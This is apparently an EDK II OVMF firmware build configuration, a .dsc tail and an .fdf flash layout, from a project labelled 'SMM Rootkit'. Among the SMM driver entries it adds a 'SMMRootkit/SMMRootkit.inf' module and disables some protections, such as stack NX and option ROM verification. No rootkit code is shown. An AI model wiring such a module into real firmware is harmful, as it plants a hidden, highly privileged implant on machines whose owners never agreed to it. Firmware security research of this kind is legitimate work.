gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Size|0x0 gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Base|0x0 gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Size|0x800000000 gEfiMdePkgTokenSpaceGuid.PcdPlatformBootTimeOut|0 # Set video resolution for text setup. gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoHorizontalResolution|640 gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoVerticalResolution|480 gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosVersion|0x0208 gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosDocRev|0x0 gUefiOvmfPkgTokenSpaceGuid.PcdQemuSmbiosValidated|FALSE # Noexec settings for DXE. gEfiMdeModulePkgTokenSpaceGuid.PcdSetNxForStack|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdPropertiesTableEnable|FALSE # UefiCpuPkg PCDs related to initial AP bringup and general AP management. gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64 gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000 # Set memory encryption mask gEfiMdeModulePkgTokenSpaceGuid.PcdPteMemoryEncryptionAddressOrMask|0x0 !if $(SMM_REQUIRE) == TRUE gUefiOvmfPkgTokenSpaceGuid.PcdQ35TsegMbytes|8 gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x01 gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|100000 !endif gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00 ################################################################################ # # Components Section - list of all EDK II Modules needed by this Platform. # ################################################################################ [Components] OvmfPkg/ResetVector/ResetVector.inf # # SEC Phase modules # OvmfPkg/Sec/SecMain.inf { NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf } # # PEI Phase modules # MdeModulePkg/Core/Pei/PeiMain.inf MdeModulePkg/Universal/PCD/Pei/Pcd.inf { PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf } MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf { PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf } MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf { PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf } MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf OvmfPkg/PlatformPei/PlatformPei.inf UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf { !if $(SMM_REQUIRE) == TRUE LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxPeiLib.inf !endif } !if $(SMM_REQUIRE) == TRUE OvmfPkg/SmmAccess/SmmAccessPei.inf !endif UefiCpuPkg/CpuMpPei/CpuMpPei.inf # # DXE Phase modules # MdeModulePkg/Core/Dxe/DxeMain.inf { NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf } MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf MdeModulePkg/Universal/PCD/Dxe/Pcd.inf { PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf } MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf !if $(SECURE_BOOT_ENABLE) == TRUE MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf { NULL|SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.inf } !else MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf !endif MdeModulePkg/Universal/EbcDxe/EbcDxe.inf PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf UefiCpuPkg/CpuDxe/CpuDxe.inf PcAtChipsetPkg/8254TimerDxe/8254Timer.inf OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf { PciHostBridgeLib|OvmfPkg/Library/PciHostBridgeLib/PciHostBridgeLib.inf NULL|OvmfPkg/Library/PlatformHasIoMmuLib/PlatformHasIoMmuLib.inf } MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf { PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf } MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf MdeModulePkg/Universal/Metronome/Metronome.inf PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf MdeModulePkg/Universal/BdsDxe/BdsDxe.inf { !ifdef $(CSM_ENABLE) NULL|OvmfPkg/Csm/CsmSupportLib/CsmSupportLib.inf NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf !endif } MdeModulePkg/Logo/LogoDxe.inf MdeModulePkg/Application/UiApp/UiApp.inf { NULL|MdeModulePkg/Library/DeviceManagerUiLib/DeviceManagerUiLib.inf NULL|MdeModulePkg/Library/BootManagerUiLib/BootManagerUiLib.inf NULL|MdeModulePkg/Library/BootMaintenanceManagerUiLib/BootMaintenanceManagerUiLib.inf !ifdef $(CSM_ENABLE) NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf NULL|IntelFrameworkModulePkg/Library/LegacyBootMaintUiLib/LegacyBootMaintUiLib.inf !endif } OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf OvmfPkg/Virtio10Dxe/Virtio10.inf OvmfPkg/VirtioBlkDxe/VirtioBlk.inf OvmfPkg/VirtioScsiDxe/VirtioScsi.inf OvmfPkg/VirtioRngDxe/VirtioRng.inf OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf OvmfPkg/XenBusDxe/XenBusDxe.inf OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf { PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf } MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf { DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf } MdeModulePkg/Universal/PrintDxe/PrintDxe.inf MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf FatPkg/EnhancedFatDxe/Fat.inf MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf OvmfPkg/SataControllerDxe/SataControllerDxe.inf MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf OvmfPkg/VirtioGpuDxe/VirtioGpu.inf # # ISA Support # PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf # # SMBIOS Support # MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf { NULL|OvmfPkg/Library/SmbiosVersionLib/DetectSmbiosVersionLib.inf } OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf # # ACPI Support # MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf OvmfPkg/AcpiTables/AcpiTables.inf MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf # # Network Support # MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf !if $(NETWORK_IP6_ENABLE) == TRUE NetworkPkg/Ip6Dxe/Ip6Dxe.inf NetworkPkg/TcpDxe/TcpDxe.inf NetworkPkg/Udp6Dxe/Udp6Dxe.inf NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf NetworkPkg/IScsiDxe/IScsiDxe.inf !else MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf !endif !if $(HTTP_BOOT_ENABLE) == TRUE NetworkPkg/DnsDxe/DnsDxe.inf NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf NetworkPkg/HttpDxe/HttpDxe.inf NetworkPkg/HttpBootDxe/HttpBootDxe.inf !endif !if $(TLS_ENABLE) == TRUE NetworkPkg/TlsDxe/TlsDxe.inf NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf !endif OvmfPkg/VirtioNetDxe/VirtioNet.inf # # Usb Support # MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf !ifdef $(CSM_ENABLE) IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf { PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf } IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf OvmfPkg/Csm/Csm16/Csm16.inf !endif !ifndef $(USE_OLD_SHELL) ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf { gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE } ShellPkg/Application/Shell/Shell.inf { ShellCommandLib|ShellPkg/Library/UefiShellCommandLib/UefiShellCommandLib.inf NULL|ShellPkg/Library/UefiShellLevel2CommandsLib/UefiShellLevel2CommandsLib.inf NULL|ShellPkg/Library/UefiShellLevel1CommandsLib/UefiShellLevel1CommandsLib.inf NULL|ShellPkg/Library/UefiShellLevel3CommandsLib/UefiShellLevel3CommandsLib.inf NULL|ShellPkg/Library/UefiShellDriver1CommandsLib/UefiShellDriver1CommandsLib.inf NULL|ShellPkg/Library/UefiShellDebug1CommandsLib/UefiShellDebug1CommandsLib.inf NULL|ShellPkg/Library/UefiShellInstall1CommandsLib/UefiShellInstall1CommandsLib.inf NULL|ShellPkg/Library/UefiShellNetwork1CommandsLib/UefiShellNetwork1CommandsLib.inf !if $(NETWORK_IP6_ENABLE) == TRUE NULL|ShellPkg/Library/UefiShellNetwork2CommandsLib/UefiShellNetwork2CommandsLib.inf !endif HandleParsingLib|ShellPkg/Library/UefiHandleParsingLib/UefiHandleParsingLib.inf PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf # SafeBlockIoLib|ShellPkg/Library/SafeBlockIoLib/SafeBlockIoLib.inf # SafeOpenProtocolLib|ShellPkg/Library/SafeOpenProtocolLib/SafeOpenProtocolLib.inf BcfgCommandLib|ShellPkg/Library/UefiShellBcfgCommandLib/UefiShellBcfgCommandLib.inf gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0xFF gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE gEfiMdePkgTokenSpaceGuid.PcdUefiLibMaxPrintBufferSize|8000 } !endif !if $(SECURE_BOOT_ENABLE) == TRUE SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf !endif OvmfPkg/PlatformDxe/Platform.inf OvmfPkg/AmdSevDxe/AmdSevDxe.inf OvmfPkg/IoMmuDxe/IoMmuDxe.inf !if $(SMM_REQUIRE) == TRUE OvmfPkg/SmmAccess/SmmAccess2Dxe.inf OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf # # SMM Initial Program Load (a DXE_RUNTIME_DRIVER) # MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf # # SMM_CORE # MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf # # Privileged drivers (DXE_SMM_DRIVER modules) # UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf { LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxSmmLib.inf } UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf { SmmCpuPlatformHookLib|UefiCpuPkg/Library/SmmCpuPlatformHookLibNull/SmmCpuPlatformHookLibNull.inf SmmCpuFeaturesLib|OvmfPkg/Library/SmmCpuFeaturesLib/SmmCpuFeaturesLib.inf } # # Variable driver stack (SMM) # OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf { NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf } MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf SMMRootkit/SMMRootkit.inf { DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf } !else # # Variable driver stack (non-SMM) # OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf { PlatformFvbLib|OvmfPkg/Library/EmuVariableFvbLib/EmuVariableFvbLib.inf } MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf { NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf } !endif ================================================ FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf ================================================ ## @file # Open Virtual Machine Firmware: FDF # # Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved.
# (C) Copyright 2016 Hewlett Packard Enterprise Development LP
# # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # ## ################################################################################ [Defines] !include OvmfPkg.fdf.inc # # Build the variable store and the firmware code as one unified flash device # image. # [FD.OVMF] BaseAddress = $(FW_BASE_ADDRESS) Size = $(FW_SIZE) ErasePolarity = 1 BlockSize = $(BLOCK_SIZE) NumBlocks = $(FW_BLOCKS) !include VarStore.fdf.inc $(VARS_SIZE)|$(FVMAIN_SIZE) FV = FVMAIN_COMPACT $(SECFV_OFFSET)|$(SECFV_SIZE) FV = SECFV # # Build the variable store and the firmware code as separate flash device # images. # [FD.OVMF_VARS] BaseAddress = $(FW_BASE_ADDRESS) Size = $(VARS_SIZE) ErasePolarity = 1 BlockSize = $(BLOCK_SIZE) NumBlocks = $(VARS_BLOCKS) !include VarStore.fdf.inc [FD.OVMF_CODE] BaseAddress = $(CODE_BASE_ADDRESS) Size = $(CODE_SIZE) ErasePolarity = 1 BlockSize = $(BLOCK_SIZE) NumBlocks = $(CODE_BLOCKS) 0x00000000|$(FVMAIN_SIZE) FV = FVMAIN_COMPACT $(FVMAIN_SIZE)|$(SECFV_SIZE) FV = SECFV ################################################################################ [FD.MEMFD] BaseAddress = $(MEMFD_BASE_ADDRESS) Size = 0xB00000 ErasePolarity = 1 BlockSize = 0x10000 NumBlocks = 0xB0 0x000000|0x006000 gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesSize 0x006000|0x001000 gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageSize 0x007000|0x001000 gEfiMdePkgTokenSpaceGuid.PcdGuidedExtractHandlerTableAddress|gUefiOvmfPkgTokenSpaceGuid.PcdGuidedExtractHandlerTableSize 0x010000|0x010000 gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamSize 0x020000|0x0E0000 gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvSize FV = PEIFV 0x100000|0xA00000 gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvSize FV = DXEFV ################################################################################ [FV.SECFV] FvNameGuid = 763BED0D-DE9F-48F5-81F1-3E90E1B1A015 BlockSize = 0x1000 FvAlignment = 16 ERASE_POLARITY = 1 MEMORY_MAPPED = TRUE STICKY_WRITE = TRUE LOCK_CAP = TRUE LOCK_STATUS = TRUE WRITE_DISABLED_CAP = TRUE WRITE_ENABLED_CAP = TRUE WRITE_STATUS = TRUE WRITE_LOCK_CAP = TRUE WRITE_LOCK_STATUS = TRUE READ_DISABLED_CAP = TRUE READ_ENABLED_CAP = TRUE READ_STATUS = TRUE READ_LOCK_CAP = TRUE READ_LOCK_STATUS = TRUE # # SEC Phase modules # # The code in this FV handles the initial firmware startup, and # decompresses the PEI and DXE FVs which handles the rest of the boot sequence. # INF OvmfPkg/Sec/SecMain.inf INF RuleOverride=RESET_VECTOR OvmfPkg/ResetVector/ResetVector.inf ################################################################################ [FV.PEIFV] FvNameGuid = 6938079B-B503-4E3D-9D24-B28337A25806 BlockSize = 0x10000 FvAlignment = 16 ERASE_POLARITY = 1 MEMORY_MAPPED = TRUE STICKY_WRITE = TRUE LOCK_CAP = TRUE LOCK_STATUS = TRUE WRITE_DISABLED_CAP = TRUE WRITE_ENABLED_CAP = TRUE WRITE_STATUS = TRUE WRITE_LOCK_CAP = TRUE WRITE_LOCK_STATUS = TRUE READ_DISABLED_CAP = TRUE READ_ENABLED_CAP = TRUE READ_STATUS = TRUE READ_LOCK_CAP = TRUE READ_LOCK_STATUS = TRUE APRIORI PEI { INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf } # # PEI Phase modules # INF MdeModulePkg/Core/Pei/PeiMain.inf INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf INF MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf INF MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf INF OvmfPkg/PlatformPei/PlatformPei.inf INF MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf INF UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf !if $(SMM_REQUIRE) == TRUE INF OvmfPkg/SmmAccess/SmmAccessPei.inf !endif INF UefiCpuPkg/CpuMpPei/CpuMpPei.inf ################################################################################ [FV.DXEFV] FvForceRebase = FALSE FvNameGuid = 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1 BlockSize = 0x10000 FvAlignment = 16 ERASE_POLARITY = 1 MEMORY_MAPPED = TRUE STICKY_WRITE = TRUE LOCK_CAP = TRUE LOCK_STATUS = TRUE WRITE_DISABLED_CAP = TRUE WRITE_ENABLED_CAP = TRUE WRITE_STATUS = TRUE WRITE_LOCK_CAP = TRUE WRITE_LOCK_STATUS = TRUE READ_DISABLED_CAP = TRUE READ_ENABLED_CAP = TRUE READ_STATUS = TRUE READ_LOCK_CAP = TRUE READ_LOCK_STATUS = TRUE APRIORI DXE { INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf !if $(SMM_REQUIRE) == FALSE INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf !endif } # # DXE Phase modules # INF MdeModulePkg/Core/Dxe/DxeMain.inf INF MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf INF MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf INF MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf INF MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf INF MdeModulePkg/Universal/EbcDxe/EbcDxe.inf INF PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf INF UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf INF UefiCpuPkg/CpuDxe/CpuDxe.inf INF PcAtChipsetPkg/8254TimerDxe/8254Timer.inf INF OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf INF OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf INF MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf INF MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf INF MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf INF MdeModulePkg/Universal/Metronome/Metronome.inf INF PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf INF OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf INF OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf INF OvmfPkg/Virtio10Dxe/Virtio10.inf INF OvmfPkg/VirtioBlkDxe/VirtioBlk.inf INF OvmfPkg/VirtioScsiDxe/VirtioScsi.inf INF OvmfPkg/VirtioRngDxe/VirtioRng.inf INF OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf INF OvmfPkg/XenBusDxe/XenBusDxe.inf INF OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf !if $(SECURE_BOOT_ENABLE) == TRUE INF SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf !endif INF MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf INF MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf INF MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf INF MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf INF MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf INF MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf INF MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf INF MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf INF MdeModulePkg/Universal/BdsDxe/BdsDxe.inf INF MdeModulePkg/Application/UiApp/UiApp.inf INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf INF MdeModulePkg/Universal/PrintDxe/PrintDxe.inf INF MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf INF MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf INF MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf INF MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf INF MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf INF MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf INF OvmfPkg/SataControllerDxe/SataControllerDxe.inf INF MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf INF MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf INF MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf INF MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf INF MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf INF MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf INF MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf INF PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf INF IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf !ifndef $(SOURCE_DEBUG_ENABLE) INF IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf !endif INF IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf INF IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf INF MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf INF OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf INF MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf INF OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf INF RuleOverride=ACPITABLE OvmfPkg/AcpiTables/AcpiTables.inf INF MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf INF MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf INF MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf INF FatPkg/EnhancedFatDxe/Fat.inf !ifndef $(USE_OLD_SHELL) INF ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf INF ShellPkg/Application/Shell/Shell.inf !else INF RuleOverride = BINARY EdkShellBinPkg/FullShell/FullShell.inf !endif INF MdeModulePkg/Logo/LogoDxe.inf # # Network modules # !if $(E1000_ENABLE) FILE DRIVER = 5D695E11-9B3F-4b83-B25F-4A8D5D69BE07 { SECTION PE32 = Intel3.5/EFIX64/E3522X2.EFI } !endif INF MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf INF MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf INF MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf INF MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf INF MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf INF MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf INF MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf INF MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf INF MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf !if $(NETWORK_IP6_ENABLE) == TRUE INF NetworkPkg/Ip6Dxe/Ip6Dxe.inf INF NetworkPkg/TcpDxe/TcpDxe.inf INF NetworkPkg/Udp6Dxe/Udp6Dxe.inf 